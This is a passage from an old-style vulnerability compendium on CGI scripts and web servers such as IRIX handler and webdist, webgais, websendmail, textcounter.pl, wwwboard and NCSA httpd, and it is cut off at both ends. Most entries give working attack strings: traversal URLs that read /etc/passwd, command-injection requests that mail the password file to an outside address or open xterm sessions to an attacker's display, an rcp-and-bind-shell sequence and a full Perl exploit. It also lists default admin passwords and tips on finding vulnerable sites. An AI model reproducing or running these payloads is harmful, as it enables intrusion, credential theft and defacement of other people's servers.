sprintf(t,"/bin/mail %s",JJ_FAX);
if(!(order=popen(t,"w")))
print_error("the server was unable to open a pipe to mail");
For allow to be true a password must be supplied. I have seen both
"HTTPdrocks" , "SDGROCKS" , "ITSWRONG" , "HTTPdRocKs" used as
default in the source code.
To make matters more interesting it defined the following
variable:
char w[256];
It then uses getword to fill it with user supplied data:
getword(w,cl,'=');
Get word is defined as:
void getword(char *word, char *line, char stop) {
int x = 0,y;
for(x=0;((line[x]) && (line[x] != stop));x++)
word[x] = line[x];
word[x] = '\0';
if(line[x]) ++x;
y=0;
while(line[y++] = line[x++]);
}
As you can see it does no bounds checking. Lucky for them that
main calls exit before returning or you would have a nice buffer
overflow. This code should be studied as an example of how NOT
to write secure programs. Credit for this discovery (and text)
goes to Aleph One.
SOLUTION
Tilde escaping from /bin/mail shouldn't work on most modern
systems simply because the /bin/mail's I have looked at dont
accept tilde escapes unless the the input is coming from a
terminal, or /bin/mail is invoked with -I.
SunOS 4.1.3, /bin/mail _never_ accepts tilde escapes; /usr/ucb/mail
is the Berkeley mail program And it accepts tilde escapes even if
none of the standard descriptors is a terminal:
% cat | /usr/ucb/mail mouse |& cat
~p
-------
Message contains:
To: mouse
(continue)
It will even do this when there is no /dev/tty; I tried setting up
.rhosts trust and doing "rsh <machine> /usr/ucb/mail mouse";
then, typing ~p into the rsh produced similar output.
Of course, you can always just define "modern" as "has a Berkeley
mail recent enough that it doesn't accept tildes by default unless
stdin is a terminal", in which case your claim becomes...true but
uninteresting.
jj.c source for studing
Name: www-sql and .htaccess 2 bugs
Date: 09-Feb-98
Risk: read files, protected with .htaccess
Distro: www-sql is available into Incoming sunsite directory.
One of the good things for intruders is that if an admin is using
per-directory restrictions you can often retrieve these files just
like a regular URL. For example, if the target is restricting access
to the /usr/local/etc/httpd/docs/secure directory using a .htaccess
file to control access, this URL might retrieve it
(depending on server software):
http://www.thegnome.com/secure/.htaccess (NCSA,Apache)
http://www.thegnome.com/secure/.wwwacl (CERN)
Besides containing important info, it will give you the location of
the web passwd file.
Also sometimes .htaccess can include crypted passwords in format
login:*#^$#^@$^@#$@#$
Leroy Christophe found following. www-sql is a cgi program to
access a mysql database via a http server and create easyly some
pages from a query result. That program acts as a filter, using
PATH_TRANSLATED feature to access html files on your server tree,
and it translates <! sql ...> tags into html viewable text,
letting other parts of the html file unchanged. The problem is
that www-sql performs nothing to verify if a user can access the
intended PATH_TRANSLATED file.
So, suppose following:
- your htdocs tree is /home/htdocs/
- you have a subdirectory /home/htdocs/protected/ in which
- you have restricted access using .htaccess file.
In your browser, enter URL:
http://your.server/protected/something.html
you get prompted a username and a password. Now, enter URL:
http://your.server/cgi-bin/www-sql/protected/something.html
and you get the requested file without any restrictions.
According to Mark Jeftovic this is a common characteristic of
other "cgi-wrapper" programs as well, including w3-msql and
php.cgi. The latter addresses this by giving one the option to
set PATTERN_RESTRICT at compile time (that way it will only load
files ending in say ".phtml"), or by compiling as an apache
module. According to Sebastian Andersson he stopped this bug
with PHP/FI as a cgi program with Apache and Apache's Action
directive adding this to php/fi 2.0b12's main.c file (around line
45):
#if PHPFASTCGI
while(FCGI_Accept() >= 0) {
#endif
+ s = getenv("REDIRECT_STATUS");
+ if(!s) {
+ puts("Content-type: text/plain\r\n\r\nPHP/FI detected an internal\
error. Please inform sa@hogia.net of what you just did.\n");
+ exit(1);
+ }
s = getenv("PATH_TRANSLATED");
This prevents the script from being called directly via an URL
since that wouldn't set the REDIRECT_STATUS variable.
Name: man.sh
Date: May 1998 issue
Risk: can run any system commands with the user id of the web
server and obtain the output from them in a web page.
Distro: http://www.samag.com/
Robert Moniot found followung. The May 1998 issue of SysAdmin
Magazine contains an article, "Web-Enabled Man Pages", which
includes source code for very nice cgi script named man.sh to feed
man pages to a web browser. The hypertext links to other man
pages are an especially attractive feature.
Name: IRIX CGI
Date: 7 May 1997
Versions: IRIX 5.3-6.4 Mindshare Out Box versions 1.0-1.2
Risk: remotely execute arbitrary commands as httpd process owner
http://host.com/cgi-bin/webdist.cgi?distloc=;cat%20/etc/passwd
http://host/cgi-bin/webdist.cgi?distloc=;/usr/bin/X11/xterm
%20-display%20hacker:0.0%20-ut%20-e%20/bin/sh
wrap.cgi, handler.cgi, day5datacopier.cgi, day5notifier.cgi
webdist.cgi has brothers. cgi-bin/wrap, as J.A. Gutierrez kindly
pointed out, can be used to list any directory on the system.
The script itself is capable of doing even more damage, but it's
saved by the fact that it uses ARGV[0], and httpd escapes all
metacharacters in ARGV. Script attempts to do some security
checks, but the only one that actually prevents it from being
exploited is the test for file existence. See notes on tardist
below.
wrap is designed to work in tandem with /cgi-bin/handler, which
could be used to download any file under htdocs. That probably
doesn't sound too bad, but it is. When users are added using
Irix GUI, a symlink from /var/www/htdocs to ~luser/public_html is
created. Now, many users like playing with CGI scripts, which
are enabled for everybody in default Irix httpd config.
Exploiting unknown CGI script is a tedious task and requires some
vivid imagination. handler can simplify that. You just download
the .cgi file and look at it. Or may be web man has protected
some directory by index.html and/or .htaccess. wrap+handler will
happily ignore all of them and allow you to grab what you want
(.htpasswd, for instance). See example below. Note, that it's
actually a FEATURE, not a bug, just use the script the way it was
designed to work.
Apart from nice scripts in /cgi-bin, there's a load of goods in
/WhatsNew. It's just an amazing pile of crap. Thanks Lord it's
protected by .htaccess which only allows access from localhost,
otherwise it's just a remote root hole right there. It has 32
CGI scripts, and as if it wasn't enough, there're two root-suid
binaries that do most of the work, plus a root crontab entry
Mike Neuman's right, there's no need to be smart here. Both
day5datacopier and day5notifier (search on IRIX section under
Securiry Bugware for description) are written in a genuine SGI
root-suid style, i.e. both execute external programs while
euid=0 using system() _without_ using absolute path.
day5datacopier calls cp first, day5notifier calls ps. Put
necessary programs with right names first in PATH and enjoy.
Default Irix config has Netscape, which comes with _rich_ mailcap
file. Several entries deserve honorable mentions there, but
perhaps application/x-tardist one is the best. When poor surfer
clicks on the link that feeds that MIME type to Netscape, per
mailcap it invokes /usr/sbin/tardist on it. tardist file is just
a tar file that contains a distribution in Irix "dist" format.
So tardist creates a subdirectory in /tmp, untars tmp file
supplied by netscape, and runs swmgr. Now I'm an evil guy. I
have that link on my page, disguised by javascript, that is
actually a CGI script that checks Agent header for SGI-"enhanced"
netscape. If it's there, it fingers host where request is coming
from, look at idle time and ttys to find out which luser runs
netscape and what is is home directory, and send reply on
application/x-tardist type that consists of a tar file that
contains ../../usr/people/luser/.rhosts. Luser, after clicking
on that link, suddenly sees a window prompting for a root
password (it's swmgr running). Luser quickly clicks Cancel, but
it's too late. tar file was already unpacked, and luser has no
idea what's happened. Of course, there're many ways to use this,
for instance, create directory /var/www/htdocs/blah;/tmp/myscript
and /tmp/myscript, and then check out (yes, /var/www/htdocs is
world-writable):
http://victim/cgi-bin/wrap/blah;/tmp/myscript
http://sgi.victim/cgi-bin/wrap?/../../../../../etc
/usr/local/lib/netscape/mailcap on Irix is loaded with crap.
Luckily most of the entries use programs that don't exist on the
box I use, but what I can see there gives me shivers.
Details: http://persephone.cps.unizar.es/~spd/pub/ls.cgi
Name: /var/www/cgi-bin/pfdispaly.cgi
Date: 17 March 1998
Versions: IRIX 6.2 with performer_tools.sw.webtools
(Performer API Search Tool 2.2) installed
Risk: Anyone can read files (as 'nobody') from your system
In fact, pfdispaly.cgi opens "$ARGV[0]" as "$maindocroot" prepended
( but somewhere 'dangerous' characters are escaped)
lynx -source 'http://victim.com/cgi-bin/pfdispaly.cgi?/../../../../etc/motd'
7 Apr 1998
There is already a patch from SGI to the pfdispaly.cgi '../..' bug
But it seems it fixes only that problem, without checking the rest
of the code for similar vulnerabilities, so even after patch 3018
(04/01/98) you can try:
$lynx -dump http://victim/cgi-bin/pfdispaly.cgi?'%0A/bin/uname%20-a|'
uname -a\| file
IRIX victim 6.2 03131015 IP22
or
$ lynx -dump \
http://victim/cgi-bin/pfdispaly.cgi?'%0A/usr/bin/X11/xclock%20-display%20evil:0.0|'
(You probably will notice this exploit is similar to that one on
'wrap'; it's nice to find that sometimes reusing code does work)
Name: IRIX /cgi-bin/handler exploit
Date: 19 Jun 1997
Versions: IRIX 5.3, 6.2, 6.3, 6.4
Risk: remotely run commands through this pathetic CGI
"Handler" reads PATH_INFO from the environment and then
concatenates it with a default "root directory" (let's say /var/www/htdocs).
It then runs a "validity check" on the result. But it only checks
for ".." not for other potential offensive special chars. It then
uses "open (INPUT, $doc)" where $doc is the result of the concatenation.
If you're familiar with PERL you know that if a '|' character
follows the filename, perl will treat that filename as a command.
It runs it and gives you STDOUT.
The way to exploit this "feature" for cgi-bin/handler is:
telnet target.machine.com 80
GET /cgi-bin/handler/useless_shit;cat /etc/passwd|?data=Download HTTP/1.0
Note that you have to use a TAB character after cat, not a space
because the shell will accept it as a separator and it won't confuse
the HTTP server. You can't use the %xx format (%20) because the
script doesn't do any parsing (So you will not be able to give command
that contain spaces).
Of course, you can use any other command instead of "cat" but
remember NOT to use spaces, just tabs.
The server will display an error saying that it couldn't open
"useless_shit" but it will continue anyway and execute your command.
And also, I think this kind of approach makes cgi-bin's written in
perl more vulnerable. That is any script that does not strip
special characters (not only dots, but also | and ;) and uses "open"
commands on files read from user input can be attacked. Most of
the cgi-bin's I've seen do only a rudimentary check for "double-
dots" and then declare the URL "sane".
I have had reports that my exploit for SGI' /cgi-bin/handler does
not work on IRIX 6.3 (on O2). I analyzed the code provided with
IRIX 6.3 and they tried to fix it, but they actually DID NOT.
They added a new line to the script:
$doc=~s/\|*$// (in plain English, this means "remove any number
of '|'s at end-of-string"). But guess what. It works just as fine
if you put another TAB character after the "pipe" (so that the
"pipe" is not at end-of-string, the TAB is).
The exploit should read
telnet target.machine.com 80
GET /cgi-bin/handler/whatever;cat /etc/passwd| ?data=Download
HTTP/1.0
It tricks the script into executing the command anyway.
Now, for those of you who want to patch it somehow, here's the
best solution that has been posted to me (all credits for it go to
Wolfram Schneider <wosch@apfel.de>)
All "open" commands should check if the their argument is really a
filename. You could use:
-f $doc && open (INPUT, $doc)
( Same thing as: if (-f $doc) { open (INPUT, $doc) } , the one
written above is more PERL style)
If you have untrusted local users who can install their own
cgi-bin stuff (I know of at least one large site that is in this
situation), this isn't enough.
/cgi-bin/handler/whatever;cat\t/etc/passwd\|\t
may well exist, and open() will _still_ take it as a pipe.
enemy% telnet victim 80
Trying 1.2.3.4...
Connected to victim.
Escape character is '^]'.
GET /cgi-bin/handler/ ;/usr/sbin/xwsh -display enemy:0|?data=Download
UX:sh (sh): ERROR: Connection closed by foreign host.
enemy%
That opened the xwsh window...But there was only one error-message
in the first line:
/usr/sbin/xwsh: Permission denied: can't start command
Please note the format of the "GET" querey. The above assumes xwsh
is in the PATH somewhere, and the "space" between "xwsh" and
"-display" should be a TAB.
Lets see what I can do with other commands... (Remember the tabs)
enemy% telnet victim 80
Trying 1.2.3.4...
Connected to victim.
Escape character is '^]'.
GET /cgi-bin/handler/ ;cat /etc/passwd|?data=Download
UX:sh (sh): ERROR: root:x:0:0:Super-User:/:/bin/csh
sysadm:x:0:0:System V Administration:/usr/admin:/bin/sh
[... I wont give you that ;) ...]
nobody:x:60001:60001:SVR4 nobody uid:/dev/null:/dev/null
Connection closed by foreign host.
Hm - a shadowed passwd... was my first thought.. Lets see If I can
get the shadow... [As above] - Didnt work. So It seems that the
WWWserver was not running as root (what a pity ;). If it does not
run as root -it usually runs as nobody. And what can we see above?
Nobody got the shell /dev/null - thats why my xwsh was not able to
start a command. Next Try was to give xwsh the command that it
should start... (And again: Tabs! - and of course everything in
one line...)
enemy% telnet victim 80
Trying 1.2.3.4...
Connected to victim.
Escape character is '^]'.
GET /cgi-bin/handler/;/usr/sbin/xwsh -display enemy:0 -e/bin/csh|?data=Download
UX:sh (sh): ERROR: Connection closed by foreign host.
enemy%
s/xwsh/xterm/ and this works the same.
GET /cgi-bin/handler/<tab>;xterm<tab>-display<tab>danish:0<tab>-e<tab>
/bin/sh|<tab>?data=Download
Keep in mind that it isn't necessary to get everything done in one
command:
enemy% whoami
evil_cracker
enemy% echo + + > .rhosts
enemy% nc victim.com 80
GET /cgi-bin/handler/;/usr/bsd/rcp evil_cracker@enemy.com:portshell<tab>
/tmp|?data=Download
enemy% nc victim.com 80
GET /cgi-bin/handler/;/tmp/portshell 31337|?data=Download
enemy% nc victim.com 31337
% whoami
nobody
% rcp evil_cracker@enemy.com:irix_root_bug_of_the_week.sh \
./irbotw.sh ; ./irbotw.sh
#
portshell being a program that bound itself to a TCP port,executed
a shell upon receiving a connection. Boom, shell access obtained
under whatever uid httpd is running as. Or, one could even create
a dummy inetd.conf and run their own copy of inetd.
In addition, please note that in theory this should also work for
/cgi-bin/wrap CGI script.
Name: files.pl
Date: 1997/05/05
Versions: Novell 4.11 running Novell Webserver 3.x with Web Server
3.x Examples Toolkit v.2.
Risk: allows access to any text file on a Netware 4.11 server.
The Perl script files.pl that comes with the Web Server 3.x Examples
Toolkit v.2 is designed to return a text file or a directory as
HTML. However the script does not perform any checks of user input
and allows intruders to redirect the script to any file on the server.
http://netware.nmrc.org/perl/files.pl?file=sys:system/autoexec.ncf
http://netware.nmrc.org/perl/files.pl?file=sys:etc/ldremote.ncf
http://netware.nmrc.org/perl/files.pl?file=vol2:apps/accounting/payroll.doc
Secure directories are also vulnerable, as directory listings are
returned
http://netware.nmrc.org/perl/files.pl?file=sys:system/
Once access has been gained to these secure directories and files,
an intruder could use the information obtained to gain additional
access to the server console, even across the Internet if XCONSOLE.NLM
is being run on the server.
Remove the Perl script files.pl from the SHARED\DOCS\LCGI\PERL5
directory, typically installed under SYS:INW_WEB.
Name: convert.bas
Versions: Novell Web Server distro ( fixed in IntraNetware )
Risk: read any file on the remote file system using this CGI.
http://victim.com/scripts/convert.bas?../../anything/you/want/to/view
www.altavista.digital.com
search for +links:scripts/convert.bas
will return you all the sites that can be breached.
In a random sampling of 10 sites there was 1 site that restricted
using ../ so (I assume) that by using Novell's security you CAN
restrict this bug. However you can access files like
AUTOEXEC.NCF, and even login scripts in the hidden _NETWARE
directory (if you know the name). It does appear you are
restricted to the SYS: volume, however if you are using XCONSOLE
and have your remote console password in plaintext (instead of
encrypted) you are just inviting someone to telnet to the server
console....
Name: httpd distibutions
Date: 26 February 1996
Versions: Any CGI program built using the sample code distributed with
NCSA HTTPD V 1.5A-Export and earlier and Apache HTTPD v1.0.3
and earlier that accepts input from the user
Risk: call a shell to execute other programs can be tricked into
executing any arbitrary command
Details: ncsa.txt
One of the utility functions offered by the CGI example source
code is called escape_shell_cmd(). It is intended to help programmers
avoid the vulnerability described above. This function, when given
an input string received from the user, scans the string for
characters that have special meaning to the UNIX shell, and inserts
escapes in front of these characters to remove their special
meaning. However, the list of special characters used by
escape_shell_cmd():
&;`'"|*?~<>^()[]{}$\
is incomplete: it is missing the newline ('\n',octal 012,hex 0x0a)
character.
The CGI example source code also includes a program called "phf,"
which implements a form-based interface to a local CCSO Name
Server. (The CCSO Name Server is a white pages service used for
looking up name and address information about people.) The "phf"
demonstration program uses the escape_shell_cmd() function to check
its inputs, and is thus vulnerable to attack as described above.
A second potential vulnerability
When examining your CGI programs that make use of the escape_shell_cmd()
function, note that escape_shell_cmd() does not perform any check
on the length of the buffer it is passed. Because each character
in the buffer has the potential to be escaped with a backslash,the
resulting string can be up to twice as long as the original.
Any buffer that is passed into this function should be at least
(2n+1) bytes in size, where n is the length of the unescaped string.
Name: Sambar Server Beta BUG
Versions: Samba server v4.1 beta
Risk: it is possible to view the victim's HDD
To do a test, run a little perl script...
http://www.site.net/cgi-bin/dumpenv.pl
Now you see the complete environment of the victims computer,
including his path. Now you can try to login as the administrator
by adding this to the url:
/session/adminlogin?RCpage=/sysadmin/index.stm
The default login is: admin and the default password is blank.
If the victim hasn't changed his settings, you now can control his
server.
Another feature is to view the victims HDD.If you were able to run
the perl script you should also be able (in most cases) to view
directory's from his path. Most people have c:/program files and
c:/windows in the path line, so what you can do is:
http://www.site.net/c:/program files/sambar41
Name: cgiwrap buffer overrun
Date: 7 Dec 1997
Versions: cgiwrap-3.5 and 3.6beta1
Distro: many httpd distributions
Risk: buffer overrun.
Duncan Simpson found spotted a code fragmen that allocated a
static buffer and printed an arbitary lenght string in it.
Exploits probably require one to create a file with the name
contiaining shellcode but that should not be a serious problem
(/ means new dir and \0 does not happen).
Name: campas.cgi
Date: 15 Jul 1997
Versions: @(#)campas.sh 1.2 95/05/24 NCSA"
Distro: many httpd distributions
Risk: enable everybody to execute commands on your system with
the same rights as the httpd daemon.
#!/bin/sh
bash script
> telnet www.xxxx.net 80
Trying 200.xx.xx.xx...
Connected to venus.xxxx.net
Escape character is '^]'.
GET /cgi-bin/campas?%0acat%0a/etc/passwd%0a
<PRE>
root:x:0:1:Super-User:/export/home/root:/sbin/sh
daemon:x:1:1::/:
bin:x:2:2::/usr/bin:
sys:x:3:3::/:
adm:x:4:4:Admin:/var/adm:
lp:x:71:8:Line Printer Admin:/usr/spool/lp:
smtp:x:0:0:Mail Daemon User:/:/bin/false
You may either erase this CGI if not in use or you can not use
this CGI anymore (and at that point you can erased it too)
Name: textcounter.pl script by Matt Wright
Date: 24 Jun 1998
Versions: program has a "Last Modified Date" at 5/10/96
Distro: http://www.worldwidemart.com/scripts/
Risk: enable everybody to execute commands on your system with
the same rights as the httpd daemon.
The counter use the enviroment variable DOCUMENT_URI to create
read/update a file where it keeps the hit count. There is NO test
for shell metacharacters, so you can easily put something evil,
that will make PERL to execute it ...
This is the two lines responsible with the problem ...
if (-e "$data_dir$count_page") {
open(COUNT,"$data_dir$count_page");
}
Because of the test condition,the attack have to be repeated twice
to succeed. First time the condition is false and the tricky file
gets created, and the second time, the condition is true and our
commands get executed ...
Exploit:
#!/usr/bin/perl
$URL='http://dtp.kappa.ro/a/test.shtml'; # please _modify_ this
$EMAIL='pdoru@pop3.kappa.ro,root'; # please _modify_ this
if ($ARGV[0]) {
$CMD=$ARGV[0];
}else{
$CMD="(ps ax;cd ..;cd ..;cd ..;cd etc;cat hosts;set)\|mail ${EMAIL} -sanothere_one";
}
$text="${URL}/;IFS=\8;${CMD};echo|";
$text =~ s/ /\$\{IFS\}/g;
system({"lynx"} "lynx", $text);
system({"lynx"} "lynx", $text);
Fix: this will make sure that there are NO tricky characters in filename.
$count_page = "$ENV{'DOCUMENT_URI'}"; # the original 91 line ....
$count_page =~ s/([^a-z0-9])/sprintf("%%%02X",$1)/ge; # ADD THIS !!!!!
Use cgiwrap. Don't run scripts from untrusted sources. Don't take
candy from strangers.
Name: wwwthreads discussion forum
Date: 8 Sep 1998
Versions: wwwthreads v2.7.3 and all earlier releases (2.6.* and 2.7.*).
Distro: http://www.screamingweb.com/wwwthreads/
Risk: passwords weakness
When running the install script, the data directories are created
in a publicly accessible area. The install instructions direct the
user to create the data directory in a publicly accessible
directory under "html" or "public_html" also. The data directories
contain, among other things, administrator and user logins and
passwords. These passwords are written to files in plaintext, and
the files can easily be viewed and/or downloaded by anyone with a
web browser. Also there is no error or bounds checking in the
administrative cgi scripts either, so exploit code can easily be
executed remotely once the plaintext passwords are retrieved.
1) move the data directories to non-publicly accessible area and
correct the appropriate lines in the cgi scripts.
2) remove all (g) and (o) permissions to prevent local exploit.
3) use the UNIX crypt() function or something similar to encode
passwords written to files.
4) add a "referer" variable to the cgi scripts so commands can
only be executed on local server that has WWW Threads installed.
There are many other bugs in the WWW Threads scripts, so best
suggestion is to use another discussion forum script.
Name: view-source CGI vulnerability
Distro: some httpd distributions and SCO Skunkware cdroms
Risk: see context on any file on the system.
This script is designed to display a given document located in
$DOCUMENT_ROOT/$1 (where $DOCUMENT_ROOT is an environment variable
set by the server).
Unhopefully view-source does not properly check the arguments.
It is therefore possible to display any file on systems where
view-source is world executable by sending something like
http://hack.com/cgi-bin/view-source?../../../../../../../etc/passwd'At this point you can erase this cgi or nuke whole cgi-bin.
Name: webgais vulnerability
Date: 10 Jul 1997
Versions: Systems running this tool
Distro: WebGais is an interface to the GAIS search tool
Risk: any client can run arbitrary commands under the server UID.
Package installs a few programs in /cgi-bin. The main utility is
called "webgais" and does the actual interfacing with search tool.
It reads the query from a user form, and then runs the GAIS
search engine for that query. The author tried to protect the
program by using single quotes around the query when he passed it
to a "system" command. But he forgot one VERY important thing: to
strip single quotes from the query (this was done in Glimpse).
So, if we send a query like:
query=';mail+foo@somewhere.net</etc/passwd;echo'&.....
we will trick the "protection" system.
The only problem here is that you have to provide a certain
combination of input parameters, to reach the vulnerable line in
the script:
telnet target.machine.com 80
POST /cgi-bin/webgais HTTP/1.0
Content-length: 80 (replace this with the actual length of
the "exploit" line)
query=';mail+you\@your.host</etc/passwd;echo'&output=subject
&domain=paragraph
... and it worked. But to make it work for your system too,
you'll have to add other parameters, like idx_dir and data_type
who are required by the script in its original version. Just make
a normal query to your WebGais server and see what all the
parameters are. But remember to use "output" and "domain" as
specified in this exploit. Otherwise you will end up in some
other place of the script and nothing will happen.
Strip single quotes from the query (this was done in Glimpse).
Name: Websendmail vulnerability
Versions: Websendmail v1.0 and others?
Distro: WebGais is an interface to the GAIS search tool
Risk: any client can run arbitrary commands under the server UID.
Websendmail is a cgi-bin that comes with the WEBgais package,
which is an interface to the GAIS search tool.It is a PERL script
that reads input from a form and sends e-mail to the destination.
As many other cgi-bin programs,this one does not check for special
characters in the user input.
Here's what it does:
(...)
$cmd="| $MAILBIN $VAR_receiver";
open (PIPEOUT, $cmd);
$VAR_receiver is read from the form. The script also does a little
parsing on the string to "un-webify" it (converts pluses to spaces
and %xx characters to their real value).
So if we set $VAR_receiver to
';mail+your_address\@somewhere.org</etc/passwd;'
Now for the exploit:
telnet target.machine.com 80
POST /cgi-bin/websendmail HTTP/1.0
Content-length: xxx (should be replaced with the actual length of
the string passed to the server, in this case xxx=97)
receiver=;mail+your_address\@somewhere.org</etc/passwd;&sender=a
&rtnaddr=a&subject=a&content=a
Don't worry if the server displays an error message. The password
file is on the way :). You can use anything for the "sender",
"rtnaddr", "subject" and "content", just make sure they're there,
the script checks for them.
Modify source to avoid special characters.
Name: wwwboard.pl vulnerability
Date: 3 Sep 1998
Versions: Wwwboard script 2.0 ALPHA 2 or less by Matt Wright
Distro: http://www.worldwidemart.com/
Risk: default location of passwords in the wwwadmin.pl program
allow anyone to perform dictionary attacks on the board admin's
password , make DOS attack or rewrite files.
There is no input checking done on the list of articles which a
given article is a followup to. This allows us to give it invalid
input such that we can clobber files that the web server has write
permissions to.
this HTML snippit, when read by Netscape, will clobber articles 1
to 5 on the wwwboard at some.poor.host.
<form method=POST action="http://some.poor.host/cgi-bin/wwwboard.pl">
<input type=hidden name="followup" value="1,2,3,4,5,|.|">
<input type=submit value="Clobber web board">
</form>
By default you must put the passwd.txt file in the same directory
as your wwwboard. If this is true anyone could simple download the
passwd.txt file and put it against Password crackers like
Crackerjack or John the Ripper (UCF). When go to wwwadmin.pl
Default the id and password are
Username: WebAdmin
Password: WebBoard
Samuel Sparling found following. When the followup value in a
form posted to the WWWBoard script contains the same post number
twice, the script follows up to that post twice, even printing the
number of followups to a particular post (on the wwwboard.html
file) multiple times. This exploit does even one better than just
'messing up' the board, if done severly enough, it can cause the
wwwboard.html file to become hundreds of megabytes in size. It
appears that the number of followups shown on the main page (if
there's three, it'd look like "(3)") increases exponentially with
this flaw, such that posting a followup value of say "5,5,5" 2
times would make (2) appear as the followup value, but it would
appear 9 times. From the best I can tell, the number of followups
you have that are the same (like "3,3,3,3,3" would have 5) is the
number of times the followup value will appear on the
wwwboard.html page, and if you post the same twice, it does that
number to the second power, and thrice does to the third power,
etc. (whereas if you post "3,3,3,3,3" once, it'll have 5 followup
numbers, if you post it twice, it'll have 25, if you post it three
times, it'll have 125, post it ten times and it'll show 9,765,625
times, twelve times 244,140,625, thirteen times 1,220,703,125,
etc.) And even though it appears that only three bytes "(X)" are
added for each followup value you see, there are comments in the
HTML making it appear as "(5)" in the html
source if there's 5 followups to message 3.
As that shows, this can cause much more damage than just a simple
annoyance. This flaw could easilly be exploited to the point where
a users quota is maxed out, or even to the point where the web
server runs out of disk space.
This is a script to exploit this flaw : wwwkill.pl
Name: Verity/Search'97
Versions: Systems running Verity/Search'97 v3.1 & 2.1
Distro: https://customers.verity.com/products/server/310/patches/
Risk: allows anybody with permission to execute the s97_cgi
CGI script to look at files on the webserver. The second security
problem is an authorization problem with the tasmgr application.
The s97_cgi and s97r_cgi programs provide an interface for web
based applications to the Verity search engine. These two programs
typically handle search queries and showing the result of those
queries. One of the parameters to the script is one in which you
specify the name of a template file that is used to show the
result of the search query. This path is relative to a directory
that you have to specify in the Verity configuration files.
The problem is that this template pathname is appended to the base
directory name without proper checking of this path for .. or
%2e%2e. This means that it's possible to jump out of the
templates directory and use any file on the Verity host as a
result template. It will be send back to the client browser in
it's original form or with minor modifications if it contained
any valid HTMLscript tags (Verity's script language).
Sample query:
http://www.xxx.com/search97.vts
?HLNavigate=On&querytext=dcm
&ServerKey=Primary
&ResultTemplate=../../../../../../../etc/passwd
&ResultStyle=simple
&ResultCount=20
&collection=books
Please note that only files can be read for which the owner of the
webserver process has permission.
The tasmgr process, part of the Agent Server, listens on port 1972
for administrative commands. Unfortunatly this requires no
authorization at all, so anybody can start and stop your agent
processes:
Connected to search97.xxx
Escape character is '^]'.
0 Verity dcm ready
list
0 TAS-Primary
status tas-primary
0 TYPE=PROCESS; STATE=RUNNING; STARTUP=AUTO_START; PID=87632
stop tas-primary
0 'tas-primary' signalled
status tas-primary
0 TYPE=PROCESS; STATE=STOPPING; STARTUP=AUTO_START; PID=87632
where
0 /home/verity/_hpux10/bin/dcm.cfg
Name: Vulnerability in htmlscript
Versions: htmlscript 3.0, 2.99x and earlier releases.
Distro: http://www.htmlscript.com/
Risk: access system files, presumably any file on web server
http://www.vulnerable.server.com/cgi-bin/htmlscript?../../../../etc/passwd
I suppose the number of ..s will depend on the location of the cgi
program. I glanced through their configuration file and it has a
variable called 'htmlscriptroot' in it. Since you would apparently
get an error if this were not set, I don't think setting it resolves
the problem.
Name: NCSA httpd
Date: 8 May 1998
Versions: NCSA's httpd v1.4 for Windows
Risk: probably run arbitrary commands on the web server
The bug can cause the server to crash. The problem seems to be that
the server has MAX_STRING_LEN defined to 256 characters. So, when
a client's request is larger than 256 characters the server crases.
I tested it on a PC running Windows 3.11, wich I believe are more
stable than Win95, with W32s driver. I TELNETed into the server on
port 80 (using 127.0.0.1 as the IP address). Then using the 'GET'
command I insert more than 256 characters. The server crashed showing
a message asking the user to terminate the program. I haven't try
it yet on other PC, but the problem it's the MAX_STRING_LEN, so it
doesn't make any differents.
The server crashes showing no messages to the clients screen. In
the Access Log files the client's request seems like a normal request
nad Ididn't found anything on Error Log file.I even tested with a
Web Browser calling a file with more than 256 characters and I had
the same results.
Since the server is not for commercial use the bug doesn't seem to
be serious. A fix would be to re-define MAX_STRING_LEN to a much
bigger number. As far as I know the Server Administrator cannot
re-define MAX_STRING_LEN.
Name: NCSA httpd
Versions: NCSA's httpd Version 1.42, 1.5
Risk: can force the daemon to return the source code for any
scripts contained in /cgi-bin
This security hole only presents itself for systems with cgi-bin
directories contained within their DocumentRoot directories. You
can access the source code by adding multiple "/" preceeding the
cgi-bin portion of the URL. If indexing is turned on, you can
get a full listing of all files within the cgi-bin directory.
Example URL's follow:
http://www.foo.com//cgi-bin/
http://www.foo.com///cgi-bin/man.pl
The daemon fails to detect this as a cgi-bin redirect, then
parses the file ///cgi-bin/man.pl from your document root. Since
the multiple slashes are legal syntax in UNIX, the daemon returns
the file as straight text. This provides potential hackers a
glimpse at what measures you have taken (or haven't taken) to
thwart their access.
the problem appears located in routine "translate_name" in file
"http_alias.c". An alias table is built up for string comparisons
with the incoming URL. At startup, this table is loaded with the
value of ScriptAlias in your configuration files, generally "/cgi-bin".
Comparing "/cgi-bin" with "//cgi-bin" fails, and the file is returned
to the browser as straight text.
Name: NCSA httpd
Versions: NCSA httpd version 1.3 and earlier
Date: 15-03-95
Risk: any client can run arbitrary commands under the server UID.
ns0: {21} telnet www.netcraft.com 80
Trying 194.72.238.5...
Connected to www.netcraft.com.
Escape character is '^]'.
HEAD / HTTP/1.0
HTTP/1.0 200 Document follows
Date: Thu, 28 Dec 1995 17:08:55 GMT
Server: NCSA/1.3
The vulnerability is triggered by a buffer overflow condition,
whereupon the server can be coerced into executing other
programs, such as a Unix shell.
Actually, this bug is similar to the bug in fingerd exploited by
the internet worm. The HTTPD reads a maximum of 8192 characters
when accepting a request from port 80. When parsing the URL part
of the request a buffer with a size of 256 characters is used to
prepend the document root (function strsubfirst(), called from
translate_name()). Thus we are able to overwrite the data after
the buffer. Since the stack grows towards higher addresses on the
HP-PA, we are able to overwrite the return pointer which is used
to return from the strcpy() call in strsubfirst(). The strcpy()
overwrites its own return pointer. On systems with a stack
growing the other direction, we'd have to overwrite the return
pointer of strsubfirst().
ncsa.c original exploit
ncsa-l.c NCSA 1.3 Linux/intel remote
Name: CERN httpd
Risk: can read protected directories
If server has the following in the config file:
Protection secret {
AuthType Basic
ServerID mine
PasswdFile /httpd/config/passwd
GroupFile /httpd/config/group
POST-Mask secret_group
GET-Mask secret_group
PUT-Mask webmaster
}
Protect /secret/* secret
This wil work fine. When the client tries to access for example
http://www.some.site/secret/index.html
the password box pops up.
However, if the client tries to access
http://www.some.site//secret/index.html (note the double slash)
the server happily serves the document out.
Name: Apache httpd with cookie
Versions: Apache httpd 1.1.1 or earlier, Sioux , Stronghold server
Risk: any client can run arbitrary commands under the server UID.
Distro: http://stronghold.c2.net/support/ups_and_bugs.php
There is a serious vulnerability in the cookies module of the
Apache httpd, which makes it possible for remote individuals to
obtain access to systems running the Apache httpd. Only sites
which enabled mod_cookies, a nondefault option, are vulnerable.
Remote individuals can obtain access to the web server. If the
httpd services requests as user root, attackers can obtain root
